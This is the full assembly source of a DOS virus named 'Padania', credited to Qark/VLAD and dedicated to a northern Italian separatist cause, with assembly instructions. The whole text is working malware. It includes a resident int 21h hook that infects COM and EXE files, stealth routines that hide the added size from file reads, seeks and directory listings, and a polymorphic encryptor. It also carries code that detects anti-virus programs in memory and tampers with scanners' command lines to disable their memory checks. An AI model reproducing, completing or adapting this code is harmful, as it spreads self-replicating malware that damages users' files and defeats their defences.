; Padania ; by Qark/VLAD ; ; This virus infects COM/EXE, direct action, as well as whilst resident. ; It is full stealth - network compatible stealth - it doesn't use any ; SFT's. It scan's the MCB chain for AV TSR's and won't go resident if it ; finds one. It sets up its own MCB and sets the owner as DOS. The start ; of the interrupt 21 handler has the standard DOS instructions so that a ; person debugging casually won't know any difference. The virus won't ; infect anything that uses overlays. It has its own polymorphic engine ; that size pads so that the full stealth will work. The virus adds ; command line options to a number of anti-virus utilities. It won't infect ; some specified filenames that correspond with anti-virus utilities. It ; turns into a fast infector when certain programs are run. It contains ; many retro features. ; ; I have dedicated this virus to my friends in Northern Italy who desire ; separation of their country, Padania, from southern Italy. ; ; For a change: ; assemble with tasm /m2 right ; tlink right ; exe2bin right.exe right.com jumps Virus segment assume cs:virus,ds:virus,ss:virus org 0 code: vsize equ offset vsizer - offset code+85 ;Physical Size msize equ offset msizer - offset code ;Memory Size push es mov ah,52h int 21h mov ds,word ptr es:[bx-2] pop es mov bx,ds ;BX = PSP mov al,'Z' xor 0f9h xor al,0f9h ;AL = 'Z' nextmcb: mov ds,bx ;DS = MCB Seg cmp word ptr ds:[8],'BT' ;TB* je already_resident cmp word ptr ds:[8],'EN' ;NEMESIS je already_resident cmp byte ptr ds:[0],al je foundz add bx,word ptr ds:[3] ;Size of Memory block inc bx jmp nextmcb foundz: cmp word ptr ds:[8],'OD' ;DOS je already_resident mov ax,((msize+0fh)/10h)+1 sub word ptr ds:[3],ax ;Allocate memory from MCB sub word ptr es:[2],ax ;From PSP mov al,'M' xor 0bfh xor al,0bfh mov byte ptr ds:[0],al ;Make it a M block add bx,word ptr ds:[3] inc bx mov ds,bx ;DS=Virus MCB mov al,'Z' xor 88h xor al,88h mov byte ptr ds:[0],al mov ax,8+99h sub ax,99h mov word ptr ds:[1],ax ;DOS segment mov ax,(msize+0fh)/10h mov word ptr ds:[3],ax mov word ptr ds:[8],'OD' mov byte ptr ds:[10],'S' mov byte ptr ds:[11],0 inc bx mov ds,bx call get_delta retdelta: sub si,offset retdelta mov word ptr cs:[si+delta],si mov word ptr cs:[si+stub_cs],cs mov ax,si add ax,offset already_resident mov word ptr cs:[si+stub_ip],ax mov cx,vsize sub di,di movevirus: mov al,byte ptr cs:[si] mov byte ptr ds:[di],al inc si inc di loop movevirus push ds mov ax,offset nextcs push ax retf nextcs: sub ax,ax mov ds,ax mov si,2 ;Set interrupt 21h mov ax,word ptr ds:[si+21h*4-2] mov word ptr cs:[o21],ax mov ax,word ptr ds:[si+21h*4] mov word ptr cs:[o21+2],ax mov word ptr ds:[si+21h*4-2],offset virus_handler mov word ptr ds:[si+21h*4],cs ;Kill a few AV utilities mov ax,4b00h xor 9641h xor ax,9641h call simint21 mov ah,19h ;Don't do it on floppy drives.. too slow! call simint21 cmp al,2 jb return_to_stub push es mov ah,2fh call simint21 mov word ptr cs:dtads,es mov word ptr cs:dtadx,bx pop es mov ds,word ptr cs:stub_cs mov dx,word ptr cs:delta mov ah,1ah call simint21 push cs pop ds sub ax,ax ffloop: add ah,4eh push cs pop ds mov dx,offset starcom mov cx,3 call simint21 jc restdta mov si,word ptr delta mov ds,word ptr stub_cs mov al,byte ptr [si+16h] and al,1fh cmp al,2 je nextfile lea dx,[si+1eh] mov ax,4300h int 21h jmp restdta nextfile: mov ax,100h jmp ffloop restdta: push cs pop ds mov dx,word ptr dtadx mov ds,word ptr dtads mov ah,1ah call simint21 return_to_stub: db 0eah stub_ip dw offset already_resident stub_cs dw 0 delta dw 0 starcom db "*m.com",0 dtads dw 0 dtadx dw 0 already_resident: ;return to user call get_delta retdelta2: push cs pop ds sub si,offset retdelta2 mov ax,ss mov bx,cs cmp ax,bx jne exeload mov di,100h xor 1928h xor di,1928h mov ax,word ptr [si+combyte] mov word ptr ds:[di],ax mov al,byte ptr [si+combyte+2] mov byte ptr ds:[di+2],al sub ax,ax mov bx,ax mov cx,ax mov dx,ax mov si,ax jmp di exeload: push es pop ds mov ax,es add ax,10h add ax,word ptr cs:[si+header+16h] mov word ptr cs:[si+run_time_cs_ip+2],ax mov ax,word ptr cs:[si+header+14h] mov word ptr cs:[si+run_time_cs_ip],ax jmp $+2 mov ax,es add ax,10h add ax,word ptr cs:[si+header+0eh] cli mov ss,ax mov sp,word ptr cs:[si+header+10h] sti sub ax,ax mov bx,ax mov cx,ax mov dx,ax mov si,ax mov di,ax db 0eah run_time_cs_ip dd 0 db "Padania Virus by Qark/VLAD",0dh,0ah db "This virus is dedicated to all the people in Padania",0dh,0ah db "(Northern Italy) who seek separation from Southern Italy",0dh,0ah db "and to their party Lega Nord.",0dh,0ah db "Questo virus e' dedicato agli abitanti della Padania, in cerca dell'",0dh,0ah db "indipendenza dal sud italia, ed al loro movimento Lega Nord",0dh,0ah combyte dw 20cdh db 0 virus_handler: ;From the DOS kernel.. looks like normal DOS code this way. cli cmp ah,6ch ja sj1 cmp ah,33h jb sj1 jz sj2 cmp ah,64h ja sj2 jz sj1 cmp ah,51h jz sj1 cmp ah,62h jz sj2 cmp ah,50h jz sj1 sj2: push ax push bx push cx nop pop cx pop bx pop ax sj1: cmp ah,byte ptr cs:heurfunc ;File Execute je dinfect cmp ah,3dh ;File Open je dinfect cmp ax,6c00h ;File Open je dinfect cmp ah,43h ;File Attribute Change je dinfect cmp ah,41h ;File Delete je dinfect cmp ah,byte ptr cs:heurfunc+1 ;FCB Find First je dfcbstealth cmp ah,byte ptr cs:heurfunc+2 ;FCB Find Next je dfcbstealth cmp ah,4eh ;Find First je dfilestealth cmp ah,4fh ;Find Next je dfilestealth cmp ah,42h ;File Seek je dseekstealth cmp ah,3fh ;File Read je dreadstealth cmp ax,5700h ;Get Time je dtimestealth cmp ah,3eh je dclosetime exitv21: db 0eah o21 dd 0 heurfunc db 4bh,11h,12h dinfect: jmp infect dfcbstealth: jmp fcbstealth dfilestealth: jmp filestealth dseekstealth: jmp seekstealth dreadstealth: jmp readstealth dtimestealth: jmp timestealth dclosetime: jmp closetime closetime: call handlechk je infclose noclosestealth: jmp exitv21 infclose: ;call check4stealth ;je noclosestealth push ax push cx push dx mov ax,5700h call simint21 and cl,0e0h or cl,2 mov ax,5701h xor 0fa49h xor ax,0fa49h call simint21 pop dx pop cx pop ax jmp exitv21 timestealth: ;5700h call simint21 jc timeexit pushf push cx and cl,1fh cmp cl,1fh jne oktimeout pop cx and cl,0e0h or cl,2 push cx oktimeout: pop cx popf timeexit: retf 2 handlechk proc near ;if je then yes, infected! push cx push dx call get_time and cl,1fh cmp cl,1fh pop dx pop cx ret handlechk endp readstealth: ;handles 3fh ;bx=file handle call check_handle jz isreadfile notread: jmp exitv21 isreadfile: call handlechk jne notread call check4stealth je notread push ax push dx call getcurfilepointer mov word ptr cs:seekdx,dx mov word ptr cs:seekax,ax pop dx pop ax mov word ptr cs:readaddr,dx call simint21 jc readfail pushf push cx push dx push si mov word ptr cs:bytesread,ax ;Save bytes read cmp word ptr cs:seekdx,0 jne notheader cmp word ptr cs:seekax,1ch jae notheader ;The header was read from. ;Read old header data over data read call getcurfilepointer push dx push ax call fpend sub ax,offset vsizer-offset header sbb dx,0 add ax,word ptr cs:seekax adc dx,0 mov cx,dx mov dx,ax mov ax,4200h call simint21 mov ax,word ptr cs:seekax add ax,word ptr cs:bytesread cmp ax,1ch jbe oknumread mov ax,1ch sub ax,word ptr cs:seekax mov cx,ax jmp fixedcx oknumread: mov cx,word ptr cs:bytesread fixedcx: mov dx,word ptr cs:readaddr mov ah,3fh call simint21 pop dx pop cx mov ax,4200h call simint21 notheader: ;check read past end of file mov ax,word ptr cs:bytesread add word ptr cs:seekax,ax adc word ptr cs:seekdx,0 call fpend sub ax,vsize sbb dx,0 cmp dx,word ptr cs:seekdx ja withinbounds jb rbadread cmp ax,word ptr cs:seekax jae withinbounds rbadread: push ax push dx sub word ptr cs:seekax,ax sbb word ptr cs:seekdx,dx mov ax,word ptr cs:seekax sub word ptr cs:bytesread,ax pop dx pop ax mov word ptr cs:seekdx,dx mov word ptr cs:seekax,ax withinbounds: mov dx,word ptr cs:seekax mov cx,word ptr cs:seekdx mov ax,4200h call simint21 pop si pop dx pop cx mov ax,word ptr cs:bytesread popf readfail: retf 2 getcurfilepointer proc near ;returns the file pointer in dx:ax push cx mov ax,4201h sub cx,cx cwd call simint21 pop cx ret getcurfilepointer endp seekstealth: ;bx=file handle ;stealths file pointer function 42h to give original filesize call check_handle jz isseekfile notseek: jmp exitv21 isseekfile: call handlechk jne notseek call check4stealth je notseek call simint21 jc exitseek pushf mov word ptr cs:seekdx,dx mov word ptr cs:seekax,ax push ax push cx push dx mov ax,4202h cwd sub cx,cx call simint21 sub ax,vsize sbb dx,0 cmp dx,word ptr cs:seekdx ja smallenuff jb reallybad cmp ax,word ptr cs:seekax jae smallenuff reallybad: mov word ptr cs:seekdx,dx mov word ptr cs:seekax,ax smallenuff: mov dx,word ptr cs:seekax mov cx,word ptr cs:seekdx mov ax,4200h call simint21 pop dx pop cx pop ax popf mov ax,word ptr cs:seekax mov dx,word ptr cs:seekdx exitseek: retf 2 readaddr dw 0 bytesread dw 0 seekax dw 0 seekdx dw 0 filestealth: call check4stealth jne normalstealth jmp exitv21 normalstealth: call simint21 jc noffiles pushf push ax push bx push si push es mov ah,2fh call simint21 lea si,word ptr [bx+1eh] findenn: cmp byte ptr es:[si],0 je foundnn inc si jmp findenn foundnn: cmp word ptr es:[si-2],'EX' je goodfile cmp word ptr es:[si-2],'MO' je goodfile goodfile: mov ax,word ptr es:[bx+16h] and al,1fh cmp al,2 jne notgoodfile cmp word ptr es:[bx+1ch],0 jne oksizefcb cmp word ptr es:[bx+1ah],1499+vsize jb notgoodfile oksizefcb: sub word ptr es:[bx+1ah],vsize sbb word ptr es:[bx+1ch],0 notgoodfile: pop es pop si pop bx pop ax popf noffiles: retf 2 fcbstealth: push ax push bx push ds mov ah,51h call simint21 dec bx mov ds,bx cmp word ptr ds:[8+2],'MM' pop ds pop bx pop ax jne nofcbstealth call simint21 cmp al,0 je filefound iret filefound: push ax push bx push ds push es mov ah,2fh call simint21 cmp byte ptr es:[bx],0ffh jne xtndfcb add bx,7 xtndfcb: cmp word ptr es:[bx+9],'XE' je okfcbname cmp word ptr es:[bx+9],'OC' je okfcbname jmp exitfcb okfcbname: mov al,byte ptr es:[bx+17h] and al,1fh cmp al,2 jne exitfcb cmp word ptr es:[bx+1fh],0 jne oksizeff cmp word ptr es:[bx+1dh],1499+vsize jb exitfcb oksizeff: sub word ptr es:[bx+1dh],vsize sbb word ptr es:[bx+1fh],0 exitfcb: pop es pop ds pop bx pop ax iret nofcbstealth: jmp exitv21 infect: pushf push ax push bx push cx push dx push si push di push ds push es push bp call set_int24 xchg ah,al cmp ax,4bh xchg ah,al jne notscanner call new_command_line notscanner: call infect_file call restore24 pop bp pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf cmp ah,3dh je open_entry cmp ax,6c00h je open_entry dontopen: jmp exitv21 open_entry: ;exe/com, see if it's infected.. if so, change time to 62 seconds ;if not.. infect it! push si push dx cmp ah,6ch jne not6c test dl,2 jz notcreate stc jmp fail6c notcreate: mov dx,si not6c: mov si,dx call check_name fail6c: pop dx pop si jc dontopen call simint21 ;open it jc opened pushf push ax push bx push cx push dx mov bx,ax mov ax,5700h call simint21 jc fgetit push cx and cl,1fh cmp cl,2 pop cx jne fgetit mov ax,5701h xor 38bch ;set 62 seconds marker xor ax,38bch or cl,1fh call simint21 fgetit: pop dx pop cx pop bx pop ax popf opened: retf 2 infect_file proc near ;ds:dx=filename cmp ah,6ch jne no6cfix mov dx,si no6cfix: mov si,dx call check_name jnc okname ret attributes dw 0 okname: mov ax,4300h call simint21 jc tryopen mov word ptr cs:attributes,cx sub cx,cx mov ax,4301h xor 4ab3h xor ax,4ab3h call simint21 tryopen: mov ax,3d02h call simint21 jc filefail push cs pop ds mov bx,ax mov dx,offset header mov cx,1ch mov ah,3fh call simint21 mov si,offset header mov ax,'ZM' xor 9977h xor ax,9977h cmp word ptr [si],ax je infexe xchg ah,al cmp word ptr [si],ax je infexe call infect_com jmp finishup infexe: call infect_exe finishup: mov ah,3eh call simint21 mov dx,offset vsizer mov cx,word ptr attributes mov ax,4301h xor 96ddh xor ax,96ddh call simint21 filefail: ret infect_file endp check4stealth proc near ;je nostealth push ax push bx push ds mov ah,51h call simint21 dec bx mov ds,bx mov ax,word ptr ds:[8] cmp ax,'KP' ;PKzip je foundfast cmp ax,'RA' ;ARj je foundfast cmp ax,'UU' ;UUencode je foundfast cmp ax,'AB' ;BAckup je foundfast cmp ax,'HL' ;LHa je foundfast cmp ax,'AR' ;RAr je foundfast cmp ax,'OM' ;MOdem je foundfast cmp ax,'PS' ;SPeedisk je foundfast cmp ax,'ED' ;DEfrag je foundfast cmp ax,'SM' ;MSbackup je test4b cmp ax,'PC' ;CPbackup jne foundfast test4b: cmp byte ptr ds:[10],'B' foundfast: pop ds pop bx pop ax ret check4stealth endp check_name proc near push ax push ds push si push di push es push cs pop es mov di,offset vsizer mov ah,60h call simint21 push cs pop ds mov si,offset vsizer cmp byte ptr [si+2],'/' je fail_name findend: cmp byte ptr [si],0 je findnamestart inc si mov di,si jmp findend findnamestart: cmp byte ptr [si],'\' je foundnamestart dec si jmp findnamestart foundnamestart: inc si mov ax,word ptr [si] cmp ax,'VA' ;AVxxxx je fail_name cmp ax,'BT' ;TBxxxx je fail_name cmp ax,'IV' ;IV je fail_name cmp ax,'RP' ;PRxxxx je fail_name cmp ax,'V-' ;AVP? je fail_name mov ax,word ptr [di-2] ; . e x e 0 ; -3-2-1| cmp ax,'EX' je pass_name cmp ax,'MO' je pass_name jmp fail_name pass_name: clc jmp $+3 fail_name: stc pop es pop di pop si pop ds pop ax ret check_name endp New_Command_Line proc near ;adds parameters to the command lines of AV programs pushf push ax push bx push cx push dx push si push di push ds push es push cs pop es mov si,dx mov di,offset vsizer mov ah,60h call simint21 push cs pop ds mov si,offset vsizer findeon: inc si cmp byte ptr [si],0 jne findeon findsl: dec si cmp byte ptr [si],'\' jne findsl inc si ;si now points to the start of the name! mov di,offset names cld push si matchloop: lodsb cmp byte ptr [di],0 je matched inc di cmp al,byte ptr [di-1] je matchloop pop si push si f1namel: cmp byte ptr [di],0 je f2name1 inc di jmp f1namel f2name1: inc di f2name: cmp byte ptr [di],0 je f3name inc di jmp f2name f3name: inc di cmp byte ptr [di],0 jne matchloop pop si jmp none_found matched: pop si inc di pop es push es mov si,word ptr es:[bx+2] mov ds,word ptr es:[bx+4] mov al,byte ptr cs:[di] add byte ptr [si],al findcr: inc si cmp byte ptr [si],0dh jne findcr mov byte ptr [si],20h execl: inc si inc di mov al,byte ptr cs:[di] cmp al,0 je finalprep mov byte ptr [si],al jmp execl finalprep: mov byte ptr [si],0dh none_found: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf ret new_command_line endp ;file name followed by command line names db "TBSCAN",0,6,"CO NM",0 db "TBSETUP",0,3,"RM",0 db "AVP",0,3,"/M",0 db "F-PROT",0,15,"/NOMEM /COMPAT",0 db "SCAN",0,7,"/NOMEM",0 db "AVSCAN",0,4,"/NM",0 db 0 infect_com proc near ;bx=filehandle, header read into 'header' call check_infect jne not_infected ret not_infected: mov ax,word ptr [si] mov word ptr combyte,ax mov al,byte ptr [si+2] mov byte ptr combyte+2,al call save_time call fpend or dx,dx jnz badcom cmp ax,50000 ja badcom cmp ax,1500 jb badcom push ax sub ax,3 mov word ptr comstart+1,ax pop ax add ax,100h mov dl,1 sub si,si mov di,offset encplace mov cx,offset header push cs pop es call spoly mov dx,offset encplace mov ah,40h call simint21 jc badcom mov dx,offset header mov cx,1ch mov ah,40h call simint21 call fpstart mov dx,offset comstart mov cx,3 mov ah,40h call simint21 call set_time badcom: ret infect_com endp infect_exe proc near ;bx=filehandle, header read into 'header' call check_infect jne not_exe_infect ret not_exe_infect: cmp word ptr [si+18h],40h ;Don't do windows EXE's je badexe cmp word ptr [si+0ch],-1 jne badexe call save_time ;Below is checking for internal overlays call fpend or dx,dx jnz exesizeok cmp ax,2000 jb badexe exesizeok: push bx mov bx,ax mov cx,dx cmp word ptr [si+2],0 je nopartpage dec word ptr [si+4] nopartpage: mov ax,200h mul word ptr [si+4] add ax,[si+2] adc dx,0 cmp ax,bx pop bx jne badexe ;overlays ? cmp cx,dx jne badexe ;overlays ? cmp word ptr [si+2],0 je nopartpage2 inc word ptr [si+4] nopartpage2: call fpend mov cx,10h div cx mov ax,dx mov dl,0 sub si,si mov di,offset encplace mov cx,offset header push cs pop es call spoly mov dx,offset encplace mov ah,40h call simint21 jc badexe mov dx,offset header mov si,dx mov cx,1ch mov ah,40h call simint21 call fpend sub ax,vsize sbb dx,0 mov cx,10h div cx sub ax,word ptr [si+8] mov word ptr [si+14h],dx mov word ptr [si+16h],ax add ax,(offset vsizer - offset code)/16 inc ax mov word ptr [si+0eh],ax mov word ptr [si+10h],512 ;dec ax ;add dx,offset vsizer+5000 ;and dx,0fffeh ;mov word ptr [si+0eh],ax ;mov word ptr [si+10h],dx call fpend mov cx,200h div cx or dx,dx jz nopageinc inc ax nopageinc: mov word ptr [si+2],dx mov word ptr [si+4],ax call fpstart mov dx,si mov cx,1ch mov ah,40h call simint21 call set_time badexe: ret infect_exe endp ;Various file pointer functions fpend: mov al,2 jmp fp fpstart: mov al,0 jmp fp fpcur: mov al,1 fp: mov ah,42h sub cx,cx cwd call simint21 ret check_handle proc near ;jz isfile push ax push dx mov ax,4400h call simint21 test dl,80h pop dx pop ax ret check_handle endp check_infect proc near ;if je then yes, infected! push cx push dx call get_time and cl,1fh cmp cl,2 pop dx pop cx ret check_infect endp get_time proc near push ax mov ax,5700h call simint21 pop ax ret get_time endp save_time proc near call get_time mov word ptr cs:date,dx mov word ptr cs:time,cx ret save_time endp date dw 0 time dw 0 set_time proc near mov dx,word ptr cs:date mov cx,word ptr cs:time and cl,0e0h or cl,2 mov ax,5701h xor 9912h xor ax,9912h call simint21 ret set_time endp get_delta proc near pop si push si ret get_delta endp set_int24 proc near push ax push dx push ds push es push bx mov ax,3524h call simint21 push cs pop ds mov word ptr saved24,bx mov word ptr saved24+2,es mov dx,offset errorhandler mov ax,2524h call simint21 pop bx pop es pop ds pop dx pop ax ret saved24 dd 0 set_int24 endp restore24 proc near push ax push ds push dx mov ds,word ptr cs:saved24+2 mov dx,word ptr cs:saved24 mov ax,2524h call simint21 pop dx pop ds pop ax ret restore24 endp errorhandler: mov al,3 iret spoly proc near ;overall size of the compiled code is about 742 bytes ;ax=delta offset ;dl=1 = com file = 0 = exe file ;ds:si = virus = ds:0 ;es:di = place to put decryptor + encrypted virus ;cx=virus size ;ds=cs=es ;on return cx=size of stuff = 85 ;all decryptors are 85 bytes long - stable length cld mov word ptr regtable,1 mov word ptr regtable+2,0 mov word ptr regtable+4,1 mov word ptr regtable+6,0 mov word ptr deltaval,ax mov word ptr virusval,cx mov byte ptr setupbyte,0 mov word ptr virusget,si mov word ptr virusput,di mov byte ptr inloop,0 ;Setup pointer register mov ax,3 call genrand shl ax,1 add ax,offset sip mov si,ax mov al,byte ptr [si] mov byte ptr pointrm,al mov al,byte ptr [si+1] mov byte ptr pointr,al sub ah,ah add ax,offset regtable mov si,ax mov byte ptr [si],1 ;Setup cipher register nextcipher: mov ax,8 call genrand mov byte ptr cipherr,al add ax,offset regtable mov si,ax cmp byte ptr [si],1 je nextcipher mov byte ptr [si],1 ;Setup vsize register nextvsize: mov ax,8 call genrand mov byte ptr virusr,al add ax,offset regtable mov si,ax cmp byte ptr [si],1 je nextvsize mov byte ptr [si],1 mov byte ptr regtable,0 ;clear AX call make_stub call makegarbage mov byte ptr inloop,1 mov bp,di or dl,dl ;0=exe, 1 = com jnz comfile mov al,2eh stosb comfile: mov al,31h stosb mov al,byte ptr cipherr mov cl,3 shl al,cl or al,byte ptr pointrm stosb call makegarbage mov al,40h or al,byte ptr pointr stosb call makegarbage mov al,81h stosb mov al,byte ptr cipherr or al,0c0h stosb call randval stosw mov word ptr addval,ax call makegarbage mov al,48h or al,byte ptr virusr stosb mov al,75h stosb mov ax,di inc ax sub ax,bp neg ax stosb mov word ptr encstart,di mov ax,di neg ax add ax,word ptr virusput add ax,85 mov si,word ptr ppos sub word ptr [si],ax mov si,word ptr vpos add word ptr [si],ax add word ptr cvirus,ax mov cx,ax mov al,90h ;pad with nops rep stosb mov si,word ptr virusget mov cx,word ptr virusval rep movsb mov ax,word ptr ccipher mov si,word ptr encstart mov cx,word ptr cvirus encirus: xor word ptr [si],ax add ax,word ptr addval inc si loop encirus sub di,word ptr virusput mov cx,di ret sip db 4,6 ;r/m,reg dip db 5,7 bip db 7,3 makegarbage proc near mov ax,4 call genrand shl ax,1 add ax,offset gcalls mov si,ax mov ax,word ptr [si] jmp ax makegarbage endp gcalls dw offset g1 dw offset g2 dw offset g3 dw offset g4 garbage4: mov ah,1 int 16h mov ah,2 int 16h mov ah,0dh int 21h mov ah,19h int 21h mov ah,54h int 21h mov ah,0bh int 21h mov ah,3bh int 21h mov ah,0 int 13h g4 proc near ;Wacks an interrupt vector into the buffer cmp byte ptr inloop,1 je g2st mov ax,8 call genrand shl ax,1 shl ax,1 add ax,offset garbage4 mov si,ax movsw movsw ret g4 endp g3 proc near ;creates a mov call genreg or al,0b8h stosb call randval stosw ret g3 endp g2 proc near ;creates op reg,reg instructions g2st: mov ax,8 call genrand mov cl,3 shl al,cl or al,3 stosb call genreg shl al,cl or al,0c0h mov cl,al mov ax,8 call genrand or al,cl stosb ret g2 endp g1 proc near mov ax,2 call genrand mov cl,3 shl al,cl mov cl,al call genreg or al,cl or al,40h stosb ret g1 endp genreg proc near ;returns al=reg nextgr: mov ax,8 call genrand mov si,ax add si,offset regtable cmp byte ptr [si],1 je nextgr ret genreg endp make_stub proc near stubloop: mov ax,6 call genrand shl ax,1 add ax,offset stubtab mov si,ax mov ax,word ptr [si] call ax cmp byte ptr setupbyte,0eeh jne stubloop ret make_stub endp stubtab dw offset addsub_pointer dw offset addsub_cipher dw offset addsub_virus dw offset setup_pointer dw offset setup_cipher dw offset setup_virus addsub_pointer proc near test byte ptr setupbyte,80h jz noap test byte ptr setupbyte,8 jnz noap call makegarbage mov al,81h stosb mov al,byte ptr pointr or al,0c0h stosb mov word ptr ppos,di mov ax,85 add ax,word ptr deltaval sub ax,word ptr cpoint stosw add word ptr cpoint,ax or byte ptr setupbyte,8 noap: ret addsub_pointer endp addsub_cipher proc near test byte ptr setupbyte,40h jz nocp test byte ptr setupbyte,4 jnz nocp call makegarbage mov al,81h stosb mov al,byte ptr cipherr or al,0c0h stosb call randval stosw add word ptr ccipher,ax or byte ptr setupbyte,4 nocp: ret addsub_cipher endp addsub_virus proc near test byte ptr setupbyte,20h jz noav test byte ptr setupbyte,2 jnz noav call makegarbage mov al,81h stosb mov al,byte ptr virusr or al,0c0h stosb mov word ptr vpos,di mov ax,word ptr virusval sub ax,word ptr cvirus dec ax ;coz we are xoring by words stosw add word ptr cvirus,ax or byte ptr setupbyte,2 noav: ret addsub_virus endp setup_pointer proc near ;80h test byte ptr setupbyte,80h jnz nomp call makegarbage mov al,byte ptr pointr or al,0b8h stosb call randval stosw mov word ptr cpoint,ax or byte ptr setupbyte,80h nomp: ret setup_pointer endp setup_cipher proc near ;40h test byte ptr setupbyte,40h jnz nomc call makegarbage mov al,byte ptr cipherr or al,0b8h stosb call randval stosw mov word ptr ccipher,ax or byte ptr setupbyte,40h nomc: ret setup_cipher endp setup_virus proc near ;20h test byte ptr setupbyte,20h jnz nomv call makegarbage mov al,byte ptr virusr or al,0b8h stosb call randval stosw mov word ptr cvirus,ax or byte ptr setupbyte,20h nomv: ret setup_virus endp genrand proc near ;ax=number of possibilities ;return ax = 0 to origax - 1 push cx push dx sub dx,dx mov cx,ax call randval div cx mov ax,dx pop dx pop cx ret genrand endp randval proc near ;returns ax=random number, not 0/ffff randstart: in al,40h mov ah,al in al,40h or ax,ax jz randstart cmp ax,-1 je randstart ret randval endp spoly endp simint21 proc near pushf call dword ptr cs:o21 ret simint21 endp comstart db 0e9h,0,0 header db 1ch dup (0) vsizer: db 200 dup (0) ;-- for the poly engine -- inloop db 0 ;whether or not to use ints (slow in the loop) encstart dw 0 ;where to start encrypting from pointr db 0 ;the register used pointrm db 0 ;the r/m for the pointer cpoint dw 0 ;the current value of the pointer addval dw 0 ;the value added between each iteration ppos dw 0 ;where the pointer update is vpos dw 0 ;where the size update is cipherr db 0 ;the register used ccipher dw 0 ;the current value of the cipher virusr db 0 ;the register used cvirus dw 0 ;the current value of the virus-size deltaval dw 0 ;the delta offset for it virusval dw 0 ;the size of the virus virusput dw 0 ;initial di virusget dw 0 ;initial si ; AXCXDXBXSPBPSIDI regtable db 1,0,0,0,1,0,0,0 ;80h = mp 40h = mc 20h = mv 8 = ap 4 = ac 2 = av setupbyte db 0 ;-- for the poly engine -- encplace: dupsize equ offset vsizer +90 - offset code db dupsize dup (0) msizer: Virus ends end code